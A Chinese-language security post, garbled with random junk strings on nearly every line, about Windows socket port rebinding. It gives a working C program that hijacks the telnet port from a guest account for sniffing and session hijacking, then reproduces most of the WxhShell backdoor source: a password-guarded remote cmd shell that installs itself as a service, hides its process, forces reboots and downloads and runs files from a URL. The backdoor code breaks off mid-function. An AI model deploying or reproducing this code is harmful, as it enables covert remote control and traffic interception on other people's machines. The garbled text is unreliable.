在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
dT,o=8fg s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
?T+q/lt4 P) 3mX.(} saddr.sin_family = AF_INET;
.`>y@p! [q !TIq saddr.sin_addr.s_addr = htonl(INADDR_ANY);
^&y$Wd]6 \]$IDt(s bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
_uc
hU= V3 ~~ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
.{y
uo{u ]?*I9 这意味着什么?意味着可以进行如下的攻击:
B,,D7cQC qOIW(D 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
q.,JVGMS 23~Sjr
2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
Xy5e5K 8Q_SRwN 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
>jD[X5Y 4Y[1aQ(% 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
(}}S9 K cM&{+el 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
M Y|w yX~v-N!X 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
y+7w,m2 ~NW32
O)/ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
\7CGUB>L &x3VCsC\| #include
rRFhGQq1m #include
C*P7-oE2rh #include
B(M6@1m_ #include
..rOsg{ DWORD WINAPI ClientThread(LPVOID lpParam);
"~'b int main()
g) -bW+]q {
_3ZYtmn. WORD wVersionRequested;
>$4d7.^hb/ DWORD ret;
!"Oh36 WSADATA wsaData;
:0h_K BOOL val;
G37U6PuZi SOCKADDR_IN saddr;
'3uVkp 6tF SOCKADDR_IN scaddr;
8@tV9+u int err;
kh`"WN Nt SOCKET s;
eH{[C* SOCKET sc;
8YbE`32 int caddsize;
AvW:<}a, HANDLE mt;
2k=#om19 DWORD tid;
Qjb:WC7he wVersionRequested = MAKEWORD( 2, 2 );
.0es3Rj err = WSAStartup( wVersionRequested, &wsaData );
p|! if ( err != 0 ) {
6Oy$gW) printf("error!WSAStartup failed!\n");
)rC6*eR return -1;
r(P(Rj2~ }
lv04g} W saddr.sin_family = AF_INET;
soQ1X@"0 >rf'-X4n //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
|j,"Pl}il^ =uS9JU^E saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
;n
7/O5M| saddr.sin_port = htons(23);
w4gJoxY-` if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
/HaHH.e {
9E6_]8rl printf("error!socket failed!\n");
`E>1>' return -1;
Ig
f&l`\ }
RNe^;
B val = TRUE;
76`8=!]R //SO_REUSEADDR选项就是可以实现端口重绑定的
}9FSO9*&} if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
3U0`,c\ao* {
[C'JH//q*t printf("error!setsockopt failed!\n");
?U2< return -1;
9?SZNL['V }
U[ 0=L`0e //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
va0{>Dc+ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
jEZMUqGY! //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
Rd#WMo2Xd ojanBg
if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
Ys\Wj%6A {
H*r)Z90 ret=GetLastError();
4GX-ma, printf("error!bind failed!\n");
B\o Mn return -1;
C)`Fv=]R }
85LAYaw listen(s,2);
MB~=f[cUnd while(1)
A|<jX} {
C@'h<[v`1v caddsize = sizeof(scaddr);
N u<_} //接受连接请求
$adbCY\ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
6V7B;tB if(sc!=INVALID_SOCKET)
%yv<y+yP~ {
]d!
UJ&<? mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
xwq+j " if(mt==NULL)
=ACVE;L? {
24z< gO printf("Thread Creat Failed!\n");
&tg&5_ break;
FG.em }
+nJgl8'^y }
^rifRY-,yO CloseHandle(mt);
(pv+c, }
6G[4rD& closesocket(s);
*GL/aEI<$ WSACleanup();
~T1XLu return 0;
vH :LQ!2 }
zem8G2#c DWORD WINAPI ClientThread(LPVOID lpParam)
"eB$k40- {
uM_wjP SOCKET ss = (SOCKET)lpParam;
@`q:IIgW SOCKET sc;
h4T5+~rw unsigned char buf[4096];
lPw%ErG SOCKADDR_IN saddr;
u>2
l7PA| long num;
qVH1}9_ DWORD val;
.\)U@L~ DWORD ret;
&m-PC(W+ //如果是隐藏端口应用的话,可以在此处加一些判断
E87Ww,z8 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
tMf}
saddr.sin_family = AF_INET;
3=aQG'B saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
MygfT[_ saddr.sin_port = htons(23);
jIC_[ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
old(i:2 {
TFlet"ge= printf("error!socket failed!\n");
j+$rj return -1;
]:XoRyIZ1[ }
,$s8GAmq val = 100;
n\*!CXc if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
|)(VsVG& {
Egg=yF>T ret = GetLastError();
X= 5xh return -1;
u)}$~E> }
UC]\yUK1J if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
0IBhb(X {
Lr$go6s ret = GetLastError();
dfKF%27 return -1;
,!#*GZ.ix }
C~2F9Pg if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
haK3?A,"_A {
gG<~-8uQ printf("error!socket connect failed!\n");
M2OIBH4! closesocket(sc);
_>(^tCo closesocket(ss);
=;Rtdy/Yn% return -1;
QbkLdM,S* }
{.C!i{| while(1)
JTSlWq4 {
RP[{4Q8 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
le/,R@]B9 //如果是嗅探内容的话,可以再此处进行内容分析和记录
,(qRc(Ho //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
9g'LkP num = recv(ss,buf,4096,0);
?XrQ53 if(num>0)
;oW6 NJ send(sc,buf,num,0);
mF*2#]%dx else if(num==0)
0D\#Pq
v break;
}X)&zenz num = recv(sc,buf,4096,0);
,':fu if(num>0)
P5a4ze send(ss,buf,num,0);
Mo?~_|} else if(num==0)
V58wU:li break;
JTO~9>$ B }
de.&`lPRf closesocket(ss);
Dz>^IMsY closesocket(sc);
)h"<\%LU return 0 ;
8!O5quEc }
uwzvb gup? [$0p+1 g!@<n1 L ==========================================================
q rJ`1 n.'8A(,r3 下边附上一个代码,,WXhSHELL
O#:$^#j& \F1_lq;K ==========================================================
WIC/AL' k1w_[w[ #include "stdafx.h"
6&
e3Nt i2E)P x #include <stdio.h>
ehzM)uK #include <string.h>
"c3Grfoz #include <windows.h>
0b+Wc43}K #include <winsock2.h>
Jj!vh{ #include <winsvc.h>
I4/8 _)b^ #include <urlmon.h>
IHam 4$~- '&x#rjo# #pragma comment (lib, "Ws2_32.lib")
mHV%I@`Y6 #pragma comment (lib, "urlmon.lib")
CtyoHvw+M ciBP7>':: #define MAX_USER 100 // 最大客户端连接数
h`KFL/fT #define BUF_SOCK 200 // sock buffer
hn5h\M? #define KEY_BUFF 255 // 输入 buffer
Zn&,
t &z Sg&UagBj #define REBOOT 0 // 重启
^o^H3m #define SHUTDOWN 1 // 关机
>80;8\ HW3 }uP\c #define DEF_PORT 5000 // 监听端口
)j9SGLo hL/)|N~ #define REG_LEN 16 // 注册表键长度
K&POyOvT #define SVC_LEN 80 // NT服务名长度
e-:yb^ 7S '%
E // 从dll定义API
W5EDVPur typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
aoMqSwF= typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
/Y9>8XSc typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
*7CV^mDm typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
:[wsKFaV+ +o\:d1y // wxhshell配置信息
F"&~*m^+ struct WSCFG {
[B+yyBtx int ws_port; // 监听端口
JJP08oP char ws_passstr[REG_LEN]; // 口令
S>h;K` int ws_autoins; // 安装标记, 1=yes 0=no
15%w 8u char ws_regname[REG_LEN]; // 注册表键名
'8Q]C*Z char ws_svcname[REG_LEN]; // 服务名
xbdN0MAU char ws_svcdisp[SVC_LEN]; // 服务显示名
rM`X?>iT+ char ws_svcdesc[SVC_LEN]; // 服务描述信息
iq8GrdL" char ws_passmsg[SVC_LEN]; // 密码输入提示信息
{IxA)v-` int ws_downexe; // 下载执行标记, 1=yes 0=no
0H6(EzN char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
VCY\be char ws_filenam[SVC_LEN]; // 下载后保存的文件名
13 =A [$qyF|/K`n };
v25R_""~ iP
=V8g?L // default Wxhshell configuration
d74d/l1*{ struct WSCFG wscfg={DEF_PORT,
.u*0[N "xuhuanlingzhe",
S?> HD| Z 1,
^N7e76VwR "Wxhshell",
AP68V "Wxhshell",
x.7]/) "WxhShell Service",
;XF:\<+ "Wrsky Windows CmdShell Service",
>"|B9Woc "Please Input Your Password: ",
%SX|o-B~.o 1,
iX0i2ek "
http://www.wrsky.com/wxhshell.exe",
\]</w5 Pi, "Wxhshell.exe"
f$+,HB };
9{RB{<Se! }p}[j t // 消息定义模块
}=%oX}[ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
Wr<j!>J6Ki char *msg_ws_prompt="\n\r? for help\n\r#>";
G/b^|;41 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
YM1'L\^ char *msg_ws_ext="\n\rExit.";
TT2d81I3m char *msg_ws_end="\n\rQuit.";
F20E_2;@@ char *msg_ws_boot="\n\rReboot...";
!Fca~31R' char *msg_ws_poff="\n\rShutdown...";
M$y+q
^ char *msg_ws_down="\n\rSave to ";
FG%X~L<d,) ?ATOXy char *msg_ws_err="\n\rErr!";
W}m)cn3@ char *msg_ws_ok="\n\rOK!";
iL7DRQ1 R9'b-5q char ExeFile[MAX_PATH];
tXoWwQD;Y int nUser = 0;
q;R],7Re HANDLE handles[MAX_USER];
;|pBFKx int OsIsNt;
,=UK}*e" E0Y-7&Fv SERVICE_STATUS serviceStatus;
RTE8Uq36 SERVICE_STATUS_HANDLE hServiceStatusHandle;
RP~|PtLw_ tmv&U;0Z // 函数声明
(pY 7J int Install(void);
@Fluc,Il int Uninstall(void);
`7 vHt` int DownloadFile(char *sURL, SOCKET wsh);
:Pvzl1 int Boot(int flag);
gYNjzew' void HideProc(void);
1$D_6U:H0 int GetOsVer(void);
.LZwuJ^; int Wxhshell(SOCKET wsl);
@aAW*D~-J void TalkWithClient(void *cs);
8VeQ-#7M/ int CmdShell(SOCKET sock);
isQ[ Gc!8 int StartFromService(void);
v/](yT int StartWxhshell(LPSTR lpCmdLine);
[Yo,*,y31 brW :C?} VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
3?c3<`TW VOID WINAPI NTServiceHandler( DWORD fdwControl );
ZX>AE3wk S4' // 数据结构和表定义
T;L>;E>B SERVICE_TABLE_ENTRY DispatchTable[] =
(MR_^t {
>64P6P;S {wscfg.ws_svcname, NTServiceMain},
uEktQ_u[ {NULL, NULL}
+@94;me };
8"U. Hnu Fgp]l2* // 自我安装
mp=z int Install(void)
6HZ` .o:f {
*G{^|z char svExeFile[MAX_PATH];
ePr&!Tz# HKEY key;
GO__$%~ strcpy(svExeFile,ExeFile);
55tKTpV $*AYcy7 // 如果是win9x系统,修改注册表设为自启动
o$#G0}yn if(!OsIsNt) {
-&3hEv5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
4? ICy/,U- RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
gLE:g5v6 RegCloseKey(key);
I,0q4 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
JBi*P.79^ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
V#XppYU RegCloseKey(key);
,{BaePMp return 0;
s!?`T1L }
lBK}VU^ }
:[O
8 }
()5[x.xK@ else {
?)kG A$m# ?$*SjZt // 如果是NT以上系统,安装为系统服务
1Md SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
TM_/`a2} if (schSCManager!=0)
Jth[DUH8H {
n@C[@?D SC_HANDLE schService = CreateService
pimtiQqC (
AyNI$Q6Z schSCManager,
U^Q:Y}^ wscfg.ws_svcname,
"t(p&;d wscfg.ws_svcdisp,
znxnL,- SERVICE_ALL_ACCESS,
(Dw,DY9 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
[<%H>S1 SERVICE_AUTO_START,
bmfI~8 SERVICE_ERROR_NORMAL,
'
0J1vG~c svExeFile,
E~]R2!9 NULL,
9fhsIe
NULL,
;\]b T;# NULL,
f4Xk,1Is NULL,
?AJKBW^ NULL
7*
yzEM );
*~t6(v? if (schService!=0)
v.pBX< {
tnPv70m CloseServiceHandle(schService);
j6Yy6X] CloseServiceHandle(schSCManager);
K
P Oa|$ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
yf[~Yl>Ogw strcat(svExeFile,wscfg.ws_svcname);
-=~| ."O if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
~$)2s7
O RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
^>i63Yc RegCloseKey(key);
hWD;jR return 0;
IFF92VD& }
6^eV"&+@ }
77\]B CloseServiceHandle(schSCManager);
8,C*4y~ }
y~q8pH1
}
T)H{ H5Z$*4%G return 1;
q35f&O; }
7]blrN] ~/98Id}v // 自我卸载
L3@82yPo! int Uninstall(void)
/J=v]<87a {
RxI(:i? HKEY key;
v^#~98g] j`~Ms> if(!OsIsNt) {
kQEy#JQmB if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
tasUZ#\6 RegDeleteValue(key,wscfg.ws_regname);
BW 4%l RegCloseKey(key);
9{
>Ui if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
.^h#_[dp RegDeleteValue(key,wscfg.ws_regname);
U56G. RegCloseKey(key);
G LIi6 return 0;
aqj@Cjk4Z }
,.OERw }
(NF~Ck$#q }
_3TY,l~ else {
)N7Y^CN~ 4\Tl\SZ? SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
P} 0%-JC if (schSCManager!=0)
v":x4!kdX {
b:tob0TB SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
Zc
W:6po> if (schService!=0)
BT}!W`
{
3E!|<q$z if(DeleteService(schService)!=0) {
1Cv- CloseServiceHandle(schService);
?u "
4@ CloseServiceHandle(schSCManager);
mF,Y?ax return 0;
zi]\<?\X }
*Zt#U# CloseServiceHandle(schService);
uVJDne,R }
TU:7Df CloseServiceHandle(schSCManager);
^eo|P~w
g }
59"UL\3 }
3|'>`!hb #~C]ZrK return 1;
p<,*3huj }
M$/|)U'W ^j31S*f&: // 从指定url下载文件
+^=8ge} int DownloadFile(char *sURL, SOCKET wsh)
56zL"TF` {
UA48Ug HRESULT hr;
e=B|==E10M char seps[]= "/";
6L"%e!be6 char *token;
Z0Vl+ char *file;
|mGFts}0o' char myURL[MAX_PATH];
A8uVK5 char myFILE[MAX_PATH];
M%2+y5 ?0v-qj+ strcpy(myURL,sURL);
NbgK@eV}+{ token=strtok(myURL,seps);
`w.n]TR while(token!=NULL)
_"bHe/'CI {
925|bX6I file=token;
@?yX!_YC token=strtok(NULL,seps);
:,'wVS8"] }
eZIhEOF AiEd!u. GetCurrentDirectory(MAX_PATH,myFILE);
~Y|*`C_) strcat(myFILE, "\\");
@mw5~ + strcat(myFILE, file);
k <=//r send(wsh,myFILE,strlen(myFILE),0);
ca7=V/i_a{ send(wsh,"...",3,0);
;7?kl>5] hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
6{n!Cb[e if(hr==S_OK)
F'4w;-ax return 0;
1(I6.BHW else
e4H A7=z return 1;
ew#B[[ xv(9IEjt0 }
Y2n!>[[. BK)$'AqO // 系统电源模块
g;qx">xJ`o int Boot(int flag)
DW5Y@;[
{
[|(N_[E|6 HANDLE hToken;
YKH\rN6X TOKEN_PRIVILEGES tkp;
QdL`| o0ifp=V
y if(OsIsNt) {
ADDSCY=, OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
++6`sMJ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
pEBM3r!X tkp.PrivilegeCount = 1;
(tIo:j tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
X*/ho AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
f&BY/ n, if(flag==REBOOT) {
p"n$!ilbm if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
fGUE<l return 0;
'gC_)rK* }
/fZeWU0W else {
jcuB if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
^l9N48]|? return 0;
D8Ykg >B;& }
95 ;x=ju }
B@&4i?yJ else {
M?Dfu
.t if(flag==REBOOT) {
DI:]GED"= if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
NdMb)l)m return 0;
nuk*.Su }
=Xi07_8Ic< else {
3Dng1} if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
:~2vJzp@? return 0;
2% L LSa }
YB(Q\hT~\; }
;<&*rnH ar__ Pf6r return 1;
Jm xH"7hTE }
B8": 2HrW$ \NgYTZ // win9x进程隐藏模块
N5Q[n d void HideProc(void)
=/s>Q l {
s/$?^qtyC qh9Z50E9 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
~Sj9GxTe if ( hKernel != NULL )
sDPs
G5q< {
|TS>hwkI pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
'[AlhBX ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
w>pq+og& FreeLibrary(hKernel);
\-h%O
jf4 }
h2Ld[xvCu% 9s\A\$("l return;
}>>1<P<8- }
'u *DA|HC ,:%CB"J // 获取操作系统版本
[pbo4e,4O int GetOsVer(void)
?9e_gV{&; {
O_`VV* OSVERSIONINFO winfo;
}Yb[ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
ojcA<60
' GetVersionEx(&winfo);
8aK)#tNWN if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
[tlI!~Z return 1;
'(U-(wTC'/ else
|iak z|]) return 0;
aI P }
EMY/~bQW idLWe9gC // 客户端句柄模块
.nrMfl_ int Wxhshell(SOCKET wsl)
q]T1dz? {
z[b@V SOCKET wsh;
s'!Cp=xQF" struct sockaddr_in client;
J1( 9QN[w DWORD myID;
S0zD"T ^uKwB;@ while(nUser<MAX_USER)
|Luqoa {
O#ai)e_uQk int nSize=sizeof(client);
??^5;P{yx wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
GWZ
}7ake if(wsh==INVALID_SOCKET) return 1;
uxXBEq; Ro\8ZXUQa handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
{m4b(t`xw if(handles[nUser]==0)
|]jb& M closesocket(wsh);
ZInpMp else
cS5Pl nUser++;
,]|#[ 8 }
j'Gt&\4 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
) pzy Fq0i`~L~ return 0;
dMh:ulIY> }
3eb%OEMYk 95ZyP! // 关闭 socket
Rw"sJ) / void CloseIt(SOCKET wsh)
CS2Bo {
( /=f6^} closesocket(wsh);
MLXN Zd nUser--;
GZEc l'h* ExitThread(0);
{j9{n }
9+j0q% YN/|$sMD| // 客户端请求句柄
&Y!-%{e void TalkWithClient(void *cs)
). <-X^@ {
qraSRK5 gH$ Mr SOCKET wsh=(SOCKET)cs;
_GV:HOBi char pwd[SVC_LEN];
6V$Avg\6\ char cmd[KEY_BUFF];
H=<S 9M char chr[1];
ND'E8Ke pq int i,j;
BL0 {HV! caIL&G, while (nUser < MAX_USER) {
Z-^LKe Y1OCLnK~ if(wscfg.ws_passstr) {
$mu^G t if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
*1uKr9 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
o*-)Tq8GHE //ZeroMemory(pwd,KEY_BUFF);
U_M$#i{_ i=0;
w^Sz#_2 while(i<SVC_LEN) {
CNih6R U_Vs.M.p // 设置超时
`tBgH_$M fd_set FdRead;
Yrb{ByO& struct timeval TimeOut;
C].iCxn FD_ZERO(&FdRead);
3DzMB?I FD_SET(wsh,&FdRead);
)Q=_0;#;k TimeOut.tv_sec=8;
>tYm+coS TimeOut.tv_usec=0;
`nUXDmdwzO int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
),0g~'I~D
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
d?ex,f. gR&Q3jlIV if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
SzAJ2:qhl pwd
=chr[0]; ! +a. Ei
if(chr[0]==0xd || chr[0]==0xa) { y=fx%~<>
8
pwd=0; v_<rNc,z-s
break; 6^V=?~a&z
} pM+ AjPr
i++; #H)vK"hF
} tClg*A;|B
lNy.g{2f<m
// 如果是非法用户,关闭 socket ;!=G
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,$@bE
} .7Dtm<K#
y<?kzt
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0g
+7uGp:
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l}a)ZeR1
Sxnpq Vbk
while(1) { u__9Z:+
YpWPz %`:
ZeroMemory(cmd,KEY_BUFF); {ME2ImD
oL!EYbFD'Z
// 自动支持客户端 telnet标准 5-|:^hU9
j=0;
Us)Z^s
while(j<KEY_BUFF) { 8LyD7P1\
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); R]vV*
cmd[j]=chr[0]; KxI&G%z
if(chr[0]==0xa || chr[0]==0xd) { N,`$M.|?
cmd[j]=0; ,KF'TsFf
break; #pT"BSz]
} Vrjc~>X
j++; *U^6u/iH
} GD&uQ`Y5
.!Qki@
// 下载文件 (iBNZ7sJ
if(strstr(cmd,"http://")) { aEFJ;n7m
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 68NYIyTW9
if(DownloadFile(cmd,wsh)) $I!XSz"/e
send(wsh,msg_ws_err,strlen(msg_ws_err),0); c#XXp"7k2
else !-z'2B*:^
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1A?W:'N
} mf
A{3
else { tGD6AI1"I
i{Uc6R6
switch(cmd[0]) { J; 3{3
O%Scjm-^X
// 帮助 y_'Ub{w
case '?': { LSm$dK
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \<&m&%Zs
break; hjU::m,WX
} "$~':) V"
// 安装 hP=WFD&
case 'i': { 1[mXd
if(Install()) 7P%%p3
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4{}FL
else
H_B4
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qPWP&k
break; }HL]yDO
} 9"@\s$
OBk
// 卸载 q YC;cKv
case 'r': { {i1|R"ta
if(Uninstall()) !xz eM VI
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6 +Sxr
else z
F_M*8=
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &LmJ!^#
break; 4ae`pAu
} ?# Mr
// 显示 wxhshell 所在路径 8/DS:uM
case 'p': { j>*S5y.{
char svExeFile[MAX_PATH]; =4vy@7/
strcpy(svExeFile,"\n\r"); 8&;UO{
strcat(svExeFile,ExeFile); b
IH;
send(wsh,svExeFile,strlen(svExeFile),0); a:+{f&
break; &qLf@1AD
} 3T31kQv{
// 重启 xqXo0
case 'b': { \K_ET> !
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); G
!<Z.]
if(Boot(REBOOT)) ~Xw"}S5
send(wsh,msg_ws_err,strlen(msg_ws_err),0); -B>++r2A^
else { 214Ml0/%
closesocket(wsh);
,ZKr.`B
ExitThread(0); LZ\q37UV
} }xKP~h'F
break; _geWE0
E
} #m lS}~n
// 关机 Hh%I0#
case 'd': { Jx_cf9{
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9lTv
if(Boot(SHUTDOWN)) ,K>I%_!1
send(wsh,msg_ws_err,strlen(msg_ws_err),0); y6@0O%TDN
else { Q0$8j-1I
closesocket(wsh); LU+3{O5y
ExitThread(0); t^VwR=i
} Bm.afsM;
break; F^l[GdUosK
} 5VRYO"D:
// 获取shell /xG*,YL/q
case 's': { 'z
);
CmdShell(wsh); SEORSS
closesocket(wsh); |VKK#J/
ExitThread(0); C#QpQg2
break; Pl(Q,e7O]
} FRcy`)
// 退出 Twh!X*uQ
case 'x': { D,m]CK'
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;1#H62Z*
CloseIt(wsh); c@YI;HS_g
break; gep;{G}
} *v?`<)P#
// 离开 du+y5dw
case 'q': { k2E0/ @f{k
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5&xB6|k
closesocket(wsh); 5NBV[EP
WSACleanup(); U6=..K!q
exit(1); \%u3
break; &9/O!3p)
} b>_o xK
} #1J &7F1
} Yi
.u"sh]
TPVVck-T8
// 提示信息 B!
rTD5a
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [vge56h
} ,/[6e\0~
} 9s_vL9u
ODZ5IO}v
return; QS0:@.}$E)
} tzZ63@cm
J5*tJoCYS
// shell模块句柄 ckV`OaRw4
int CmdShell(SOCKET sock) oV)~@0B&0
{ avjpA?Vz
STARTUPINFO si; 0WT{,/>
ZeroMemory(&si,sizeof(si)); @*>@AFnf\Z
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )@N2
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; UYFwS/ RW}
PROCESS_INFORMATION ProcessInfo; [N1hWcfvd
char cmdline[]="cmd"; )_a~}
U]=.
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); b`L%t:u{d
return 0; Cv
}Qwy
} "~`I::'c
Tfh 2.
// 自身启动模式 FE" y\2}
int StartFromService(void) `))\}C@k
{ H|,Oswk~-
typedef struct
zG+R5:
{ yPM3a7-Bm
DWORD ExitStatus; U QE qX
DWORD PebBaseAddress; vQ<90ZxqB
DWORD AffinityMask; %509\;el
DWORD BasePriority; V7#Ff i
